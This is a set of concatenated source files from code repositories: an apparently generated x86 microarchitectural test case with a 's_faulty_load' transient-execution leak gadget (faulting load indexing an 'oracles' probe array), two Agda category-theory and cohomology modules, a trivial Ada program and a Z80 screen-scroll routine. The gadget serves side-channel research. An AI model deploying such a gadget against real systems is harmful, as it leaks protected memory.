'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
Transynther/x86/_processed/AVXALIGN/_st_/i7-8650U_0xd2_notsx.log_9369_248.asm
ljhsiun2/medusa
9
178896
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r13 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi lea addresses_WC_ht+0x5cf9, %r11 nop add %rax, %rax mov (%r11), %r8w dec %r12 lea addresses_D_ht+0x2c3f, %r11 clflush (%r11) nop nop xor $45672, %r13 mov (%r11), %r9d nop nop nop and $28526, %r13 lea addresses_WC_ht+0x38b9, %r13 clflush (%r13) nop nop nop nop cmp $33269, %r10 mov (%r13), %r8d nop nop nop nop inc %r12 lea addresses_D_ht+0x2279, %rsi lea addresses_WT_ht+0xdb9, %rdi clflush (%rdi) nop sub %r9, %r9 mov $101, %rcx rep movsw add $54446, %rax lea addresses_normal_ht+0x13ff2, %rdi nop cmp $12169, %r10 movups (%rdi), %xmm5 vpextrq $0, %xmm5, %r11 nop nop sub $54154, %r12 lea addresses_UC_ht+0x1dc79, %rsi lea addresses_WT_ht+0x4d39, %rdi nop nop nop nop nop sub $30074, %r10 mov $1, %rcx rep movsb nop inc %r10 lea addresses_A_ht+0x1c6b9, %rsi lea addresses_WC_ht+0x4471, %rdi nop nop sub $13726, %r11 mov $61, %rcx rep movsl nop nop nop inc %rdi pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r13 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rax // Faulty Load lea addresses_RW+0x1c2b9, %r14 nop nop nop nop and %r8, %r8 mov (%r14), %r13d lea oracles, %rax and $0xff, %r13 shlq $12, %r13 mov (%rax,%r13,1), %r13 pop %rax pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'32': 9369} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
Categories/Pseudofunctor.agda
Taneb/agda-categories
0
12114
<filename>Categories/Pseudofunctor.agda {-# OPTIONS --without-K --safe #-} open import Categories.Bicategory using (Bicategory) -- A Pseudofunctor is a homomorphism of Bicategories -- Follow Bénabou's definition, which is basically that of a Functor -- Note that what is in nLab is an "exploded" version of the simpler version below module Categories.Pseudofunctor where open import Level open import Data.Product using (_,_) import Categories.Category as Category open Category.Category using (Obj; module Commutation) open Category using (Category; _[_,_]) open import Categories.Functor using (Functor; _∘F_) renaming (id to idF) open import Categories.Category.Product using (_⁂_) open import Categories.NaturalTransformation using (NaturalTransformation) open import Categories.NaturalTransformation.NaturalIsomorphism using (NaturalIsomorphism; _≃_) open import Categories.Category.Instance.One using (shift) open NaturalIsomorphism using (F⇒G; F⇐G) record Pseudofunctor {o ℓ e t o′ ℓ′ e′ t′ : Level} (C : Bicategory o ℓ e t) (D : Bicategory o′ ℓ′ e′ t′) : Set (o ⊔ ℓ ⊔ e ⊔ t ⊔ o′ ⊔ ℓ′ ⊔ e′ ⊔ t′) where private module C = Bicategory C module D = Bicategory D field P₀ : C.Obj → D.Obj P₁ : {x y : C.Obj} → Functor (C.hom x y) (D.hom (P₀ x) (P₀ y)) -- For maximal generality, shift the levels of One. P preserves id P-identity : {A : C.Obj} → D.id {P₀ A} ∘F shift o′ ℓ′ e′ ≃ P₁ ∘F (C.id {A}) -- P preserves composition P-homomorphism : {x y z : C.Obj} → D.⊚ ∘F (P₁ ⁂ P₁) ≃ P₁ ∘F C.⊚ {x} {y} {z} -- P preserves ≃ module unitˡ {A} = NaturalTransformation (F⇒G (P-identity {A})) module unitʳ {A} = NaturalTransformation (F⇐G (P-identity {A})) module Hom {x} {y} {z} = NaturalTransformation (F⇒G (P-homomorphism {x} {y} {z})) -- For notational convenience, shorten some functor applications private F₀ = λ {x y} X → Functor.F₀ (P₁ {x} {y}) X field unitaryˡ : {x y : C.Obj} → let open Commutation (D.hom (P₀ x) (P₀ y)) in {f : Obj (C.hom x y)} → [ D.id₁ D.⊚₀ (F₀ f) ⇒ F₀ f ]⟨ unitˡ.η _ D.⊚₁ D.id₂ ⇒⟨ F₀ C.id₁ D.⊚₀ F₀ f ⟩ Hom.η ( C.id₁ , f) ⇒⟨ F₀ (C.id₁ C.⊚₀ f) ⟩ Functor.F₁ P₁ C.unitorˡ.from ≈ D.unitorˡ.from ⟩ unitaryʳ : {x y : C.Obj} → let open Commutation (D.hom (P₀ x) (P₀ y)) in {f : Obj (C.hom x y)} → [ (F₀ f) D.⊚₀ D.id₁ ⇒ F₀ f ]⟨ D.id₂ D.⊚₁ unitˡ.η _ ⇒⟨ F₀ f D.⊚₀ F₀ C.id₁ ⟩ Hom.η ( f , C.id₁ ) ⇒⟨ F₀ (f C.⊚₀ C.id₁) ⟩ Functor.F₁ P₁ (C.unitorʳ.from) ≈ D.unitorʳ.from ⟩ assoc : {x y z w : C.Obj} → let open Commutation (D.hom (P₀ x) (P₀ w)) in {f : Obj (C.hom x y)} {g : Obj (C.hom y z)} {h : Obj (C.hom z w)} → [ (F₀ h D.⊚₀ F₀ g) D.⊚₀ F₀ f ⇒ F₀ (h C.⊚₀ (g C.⊚₀ f)) ]⟨ Hom.η (h , g) D.⊚₁ D.id₂ ⇒⟨ F₀ (h C.⊚₀ g) D.⊚₀ F₀ f ⟩ Hom.η (_ , f) ⇒⟨ F₀ ((h C.⊚₀ g) C.⊚₀ f) ⟩ Functor.F₁ P₁ C.associator.from ≈ D.associator.from ⇒⟨ F₀ h D.⊚₀ (F₀ g D.⊚₀ F₀ f) ⟩ D.id₂ D.⊚₁ Hom.η (g , f) ⇒⟨ F₀ h D.⊚₀ F₀ (g C.⊚₀ f) ⟩ Hom.η (h , _) ⟩
tests/src/main.adb
persan/spawn-manager
1
26322
procedure Main is begin null; end Main;
libsrc/stdio/ansi/z9001/f_ansi_scrollup.asm
grancier/z180
0
24020
; ; ANSI Video handling for the Robotron Z9001 ; ; <NAME> - Sept. 2016 ; ; Scrollup ; ; ; $Id: f_ansi_scrollup.asm,v 1.1 2016/09/23 06:21:35 stefano Exp $ ; SECTION code_clib PUBLIC ansi_SCROLLUP .ansi_SCROLLUP ld hl,$EC00+40 ld de,$EC00 ld bc,40*23 ldir ld hl,$EC00+40*23 ld (hl),32 ;' ' ld d,h ld e,l inc de ld bc,23 ldir ld hl,$E800+40 ld de,$E800 ld bc,40*23 ldir ld hl,$E800+40*23 ld (hl),7*16 ; reset bottom line attributes ld d,h ld e,l inc de ld bc,23 ldir ret
Cubical/ZCohomology/MayerVietorisUnreduced.agda
dan-iel-lee/cubical
0
13734
<reponame>dan-iel-lee/cubical {-# OPTIONS --cubical --no-import-sorts --safe #-} module Cubical.ZCohomology.MayerVietorisUnreduced where open import Cubical.ZCohomology.Base open import Cubical.ZCohomology.Properties open import Cubical.ZCohomology.GroupStructure open import Cubical.Foundations.HLevels open import Cubical.Foundations.Function open import Cubical.Foundations.Prelude open import Cubical.Foundations.Structure open import Cubical.Foundations.Isomorphism open import Cubical.Foundations.GroupoidLaws open import Cubical.Data.Sigma open import Cubical.HITs.Pushout open import Cubical.HITs.Sn open import Cubical.HITs.S1 open import Cubical.HITs.Susp open import Cubical.HITs.SetTruncation renaming (rec to sRec ; rec2 to sRec2 ; elim to sElim ; elim2 to sElim2) open import Cubical.HITs.PropositionalTruncation renaming (rec to pRec ; elim to pElim ; elim2 to pElim2 ; ∥_∥ to ∥_∥₁ ; ∣_∣ to ∣_∣₁) open import Cubical.Data.Nat open import Cubical.Algebra.Group open import Cubical.HITs.Truncation renaming (elim to trElim ; map to trMap ; rec to trRec ; elim3 to trElim3) open GroupHom module MV {ℓ ℓ' ℓ''} (A : Type ℓ) (B : Type ℓ') (C : Type ℓ'') (f : C → A) (g : C → B) where -- Proof from Brunerie 2016. -- We first define the three morphisms involved: i, Δ and d. private i* : (n : ℕ) → coHom n (Pushout f g) → coHom n A × coHom n B i* n = sRec (isSet× setTruncIsSet setTruncIsSet) λ δ → ∣ (λ x → δ (inl x)) ∣₂ , ∣ (λ x → δ (inr x)) ∣₂ iIsHom : (n : ℕ) → isGroupHom (coHomGr n (Pushout f g)) (×coHomGr n A B) (i* n) iIsHom n = sElim2 (λ _ _ → isOfHLevelPath 2 (isSet× setTruncIsSet setTruncIsSet) _ _) λ _ _ → refl i : (n : ℕ) → GroupHom (coHomGr n (Pushout f g)) (×coHomGr n A B) GroupHom.fun (i n) = i* n GroupHom.isHom (i n) = iIsHom n private distrLem : (n : ℕ) (x y z w : coHomK n) → (x +[ n ]ₖ y) -[ n ]ₖ (z +[ n ]ₖ w) ≡ (x -[ n ]ₖ z) +[ n ]ₖ (y -[ n ]ₖ w) distrLem n x y z w = cong (λ z → (x +[ n ]ₖ y) +[ n ]ₖ z) (-distrₖ n z w) ∙∙ sym (assocₖ n x y ((-[ n ]ₖ z) +[ n ]ₖ (-[ n ]ₖ w))) ∙∙ cong (λ y → x +[ n ]ₖ y) (commₖ n y ((-[ n ]ₖ z) +[ n ]ₖ (-[ n ]ₖ w)) ∙ sym (assocₖ n _ _ _)) ∙∙ assocₖ n _ _ _ ∙∙ cong (λ y → (x -[ n ]ₖ z) +[ n ]ₖ y) (commₖ n (-[ n ]ₖ w) y) Δ' : (n : ℕ) → coHom n A × coHom n B → coHom n C Δ' n (α , β) = coHomFun n f α -[ n ]ₕ coHomFun n g β Δ'-isMorph : (n : ℕ) → isGroupHom (×coHomGr n A B) (coHomGr n C) (Δ' n) Δ'-isMorph n = prodElim2 (λ _ _ → isOfHLevelPath 2 setTruncIsSet _ _ ) λ f' x1 g' x2 i → ∣ (λ x → distrLem n (f' (f x)) (g' (f x)) (x1 (g x)) (x2 (g x)) i) ∣₂ Δ : (n : ℕ) → GroupHom (×coHomGr n A B) (coHomGr n C) GroupHom.fun (Δ n) = Δ' n GroupHom.isHom (Δ n) = Δ'-isMorph n d-pre : (n : ℕ) → (C → coHomK n) → Pushout f g → coHomK (suc n) d-pre n γ (inl x) = 0ₖ (suc n) d-pre n γ (inr x) = 0ₖ (suc n) d-pre n γ (push a i) = Kn→ΩKn+1 n (γ a) i dHomHelper : (n : ℕ) (h l : C → coHomK n) (x : Pushout f g) → d-pre n (λ x → h x +[ n ]ₖ l x) x ≡ d-pre n h x +[ suc n ]ₖ d-pre n l x dHomHelper n h l (inl x) = sym (rUnitₖ (suc n) (0ₖ (suc n))) dHomHelper n h l (inr x) = sym (lUnitₖ (suc n) (0ₖ (suc n))) dHomHelper n h l (push a i) j = hcomp (λ k → λ { (i = i0) → rUnitₖ (suc n) (0ₖ (suc n)) (~ j) ; (i = i1) → lUnitₖ (suc n) (0ₖ (suc n)) (~ j) ; (j = i0) → Kn→ΩKn+1-hom n (h a) (l a) (~ k) i ; (j = i1) → cong₂Funct (λ x y → x +[ (suc n) ]ₖ y) (Kn→ΩKn+1 n (h a)) (Kn→ΩKn+1 n (l a)) (~ k) i }) (hcomp (λ k → λ { (i = i0) → rUnitₖ (suc n) (0ₖ (suc n)) (~ j) ; (i = i1) → lUnitₖ (suc n) (Kn→ΩKn+1 n (l a) k) (~ j)}) (hcomp (λ k → λ { (i = i0) → rUnitₖ (suc n) (0ₖ (suc n)) (~ j) ; (i = i1) → lUnitₖ≡rUnitₖ (suc n) (~ k) (~ j) ; (j = i0) → Kn→ΩKn+1 n (h a) i ; (j = i1) → (Kn→ΩKn+1 n (h a) i) +[ (suc n) ]ₖ coHom-pt (suc n)}) (rUnitₖ (suc n) (Kn→ΩKn+1 n (h a) i) (~ j)))) dIsHom : (n : ℕ) → isGroupHom (coHomGr n C) (coHomGr (suc n) (Pushout f g)) (sRec setTruncIsSet λ a → ∣ d-pre n a ∣₂) dIsHom n = sElim2 (λ _ _ → isOfHLevelPath 2 setTruncIsSet _ _) λ f g i → ∣ funExt (λ x → dHomHelper n f g x) i ∣₂ d : (n : ℕ) → GroupHom (coHomGr n C) (coHomGr (suc n) (Pushout f g)) GroupHom.fun (d n) = sRec setTruncIsSet λ a → ∣ d-pre n a ∣₂ GroupHom.isHom (d n) = dIsHom n -- The long exact sequence Im-d⊂Ker-i : (n : ℕ) (x : ⟨ (coHomGr (suc n) (Pushout f g)) ⟩) → isInIm (coHomGr n C) (coHomGr (suc n) (Pushout f g)) (d n) x → isInKer (coHomGr (suc n) (Pushout f g)) (×coHomGr (suc n) A B) (i (suc n)) x Im-d⊂Ker-i n = sElim (λ _ → isSetΠ λ _ → isOfHLevelPath 2 (isSet× setTruncIsSet setTruncIsSet) _ _) λ a → pRec (isOfHLevelPath' 1 (isSet× setTruncIsSet setTruncIsSet) _ _) (sigmaElim (λ _ → isOfHLevelPath 2 (isSet× setTruncIsSet setTruncIsSet) _ _) λ δ b i → sRec (isSet× setTruncIsSet setTruncIsSet) (λ δ → ∣ (λ x → δ (inl x)) ∣₂ , ∣ (λ x → δ (inr x)) ∣₂ ) (b (~ i))) Ker-i⊂Im-d : (n : ℕ) (x : ⟨ coHomGr (suc n) (Pushout f g) ⟩) → isInKer (coHomGr (suc n) (Pushout f g)) (×coHomGr (suc n) A B) (i (suc n)) x → isInIm (coHomGr n C) (coHomGr (suc n) (Pushout f g)) (d n) x Ker-i⊂Im-d n = sElim (λ _ → isSetΠ λ _ → isProp→isSet propTruncIsProp) λ a p → pRec {A = (λ x → a (inl x)) ≡ λ _ → 0ₖ (suc n)} (isProp→ propTruncIsProp) (λ p1 → pRec propTruncIsProp λ p2 → ∣ ∣ (λ c → ΩKn+1→Kn n (sym (cong (λ F → F (f c)) p1) ∙∙ cong a (push c) ∙∙ cong (λ F → F (g c)) p2)) ∣₂ , cong ∣_∣₂ (funExt (λ δ → helper a p1 p2 δ)) ∣₁) (Iso.fun PathIdTrunc₀Iso (cong fst p)) (Iso.fun PathIdTrunc₀Iso (cong snd p)) where helper : (F : (Pushout f g) → coHomK (suc n)) (p1 : Path (_ → coHomK (suc n)) (λ a₁ → F (inl a₁)) (λ _ → coHom-pt (suc n))) (p2 : Path (_ → coHomK (suc n)) (λ a₁ → F (inr a₁)) (λ _ → coHom-pt (suc n))) → (δ : Pushout f g) → d-pre n (λ c → ΩKn+1→Kn n ((λ i₁ → p1 (~ i₁) (f c)) ∙∙ cong F (push c) ∙∙ cong (λ F → F (g c)) p2)) δ ≡ F δ helper F p1 p2 (inl x) = sym (cong (λ f → f x) p1) helper F p1 p2 (inr x) = sym (cong (λ f → f x) p2) helper F p1 p2 (push a i) j = hcomp (λ k → λ { (i = i0) → p1 (~ j) (f a) ; (i = i1) → p2 (~ j) (g a) ; (j = i0) → Iso.rightInv (Iso-Kn-ΩKn+1 n) ((λ i₁ → p1 (~ i₁) (f a)) ∙∙ cong F (push a) ∙∙ cong (λ F₁ → F₁ (g a)) p2) (~ k) i ; (j = i1) → F (push a i)}) (doubleCompPath-filler (sym (cong (λ F → F (f a)) p1)) (cong F (push a)) (cong (λ F → F (g a)) p2) (~ j) i) open GroupHom Im-i⊂Ker-Δ : (n : ℕ) (x : ⟨ ×coHomGr n A B ⟩) → isInIm (coHomGr n (Pushout f g)) (×coHomGr n A B) (i n) x → isInKer (×coHomGr n A B) (coHomGr n C) (Δ n) x Im-i⊂Ker-Δ n (Fa , Fb) = sElim {B = λ Fa → (Fb : _) → isInIm (coHomGr n (Pushout f g)) (×coHomGr n A B) (i n) (Fa , Fb) → isInKer (×coHomGr n A B) (coHomGr n C) (Δ n) (Fa , Fb)} (λ _ → isSetΠ2 λ _ _ → isOfHLevelPath 2 setTruncIsSet _ _) (λ Fa → sElim (λ _ → isSetΠ λ _ → isOfHLevelPath 2 setTruncIsSet _ _) λ Fb → pRec (setTruncIsSet _ _) (sigmaElim (λ x → isProp→isSet (setTruncIsSet _ _)) λ Fd p → helper n Fa Fb Fd p)) Fa Fb where helper : (n : ℕ) (Fa : A → coHomK n) (Fb : B → coHomK n) (Fd : (Pushout f g) → coHomK n) → (fun (i n) ∣ Fd ∣₂ ≡ (∣ Fa ∣₂ , ∣ Fb ∣₂)) → (fun (Δ n)) (∣ Fa ∣₂ , ∣ Fb ∣₂) ≡ 0ₕ n helper n Fa Fb Fd p = cong (fun (Δ n)) (sym p) ∙∙ (λ i → ∣ (λ x → Fd (inl (f x))) ∣₂ -[ n ]ₕ ∣ (λ x → Fd (push x (~ i))) ∣₂ ) ∙∙ rCancelₕ n ∣ (λ x → Fd (inl (f x))) ∣₂ Ker-Δ⊂Im-i : (n : ℕ) (a : ⟨ ×coHomGr n A B ⟩) → isInKer (×coHomGr n A B) (coHomGr n C) (Δ n) a → isInIm (coHomGr n (Pushout f g)) (×coHomGr n A B) (i n) a Ker-Δ⊂Im-i n = prodElim (λ _ → isSetΠ (λ _ → isProp→isSet propTruncIsProp)) (λ Fa Fb p → pRec propTruncIsProp (λ q → ∣ ∣ helpFun Fa Fb q ∣₂ , refl ∣₁) (helper Fa Fb p)) where helper : (Fa : A → coHomK n) (Fb : B → coHomK n) → fun (Δ n) (∣ Fa ∣₂ , ∣ Fb ∣₂) ≡ 0ₕ n → ∥ Path (_ → _) (λ c → Fa (f c)) (λ c → Fb (g c)) ∥₁ helper Fa Fb p = Iso.fun PathIdTrunc₀Iso (sym (cong ∣_∣₂ (funExt (λ x → sym (assocₖ n _ _ _) ∙∙ cong (λ y → Fa (f x) +[ n ]ₖ y) (lCancelₖ n (Fb (g x))) ∙∙ rUnitₖ n (Fa (f x))))) ∙∙ cong (λ x → x +[ n ]ₕ ∣ (λ c → Fb (g c)) ∣₂) p ∙∙ lUnitₕ n _) helpFun : (Fa : A → coHomK n) (Fb : B → coHomK n) → ((λ c → Fa (f c)) ≡ (λ c → Fb (g c))) → Pushout f g → coHomK n helpFun Fa Fb p (inl x) = Fa x helpFun Fa Fb p (inr x) = Fb x helpFun Fa Fb p (push a i) = p i a private distrHelper : (n : ℕ) (p q : _) → ΩKn+1→Kn n p +[ n ]ₖ (-[ n ]ₖ ΩKn+1→Kn n q) ≡ ΩKn+1→Kn n (p ∙ sym q) distrHelper n p q = cong (λ x → ΩKn+1→Kn n p +[ n ]ₖ x) helper ∙ sym (ΩKn+1→Kn-hom n _ _) where helper : -[ n ]ₖ ΩKn+1→Kn n q ≡ ΩKn+1→Kn n (sym q) helper = sym (rUnitₖ n _) ∙∙ cong (λ x → (-[ n ]ₖ (ΩKn+1→Kn n q)) +[ n ]ₖ x) (sym helper2) ∙∙ (assocₖ n _ _ _ ∙∙ cong (λ x → x +[ n ]ₖ (ΩKn+1→Kn n (sym q))) (lCancelₖ n _) ∙∙ lUnitₖ n _) where helper2 : ΩKn+1→Kn n q +[ n ]ₖ (ΩKn+1→Kn n (sym q)) ≡ coHom-pt n helper2 = sym (ΩKn+1→Kn-hom n q (sym q)) ∙∙ cong (ΩKn+1→Kn n) (rCancel q) ∙∙ ΩKn+1→Kn-refl n Ker-d⊂Im-Δ : (n : ℕ) (a : coHom n C) → isInKer (coHomGr n C) (coHomGr (suc n) (Pushout f g)) (d n) a → isInIm (×coHomGr n A B) (coHomGr n C) (Δ n) a Ker-d⊂Im-Δ n = sElim (λ _ → isOfHLevelΠ 2 λ _ → isOfHLevelSuc 1 propTruncIsProp) λ Fc p → pRec propTruncIsProp (λ p → ∣ (∣ (λ a → ΩKn+1→Kn n (cong (λ f → f (inl a)) p)) ∣₂ , ∣ (λ b → ΩKn+1→Kn n (cong (λ f → f (inr b)) p)) ∣₂) , Iso.inv (PathIdTrunc₀Iso) ∣ funExt (λ c → helper2 Fc p c) ∣₁ ∣₁) (Iso.fun 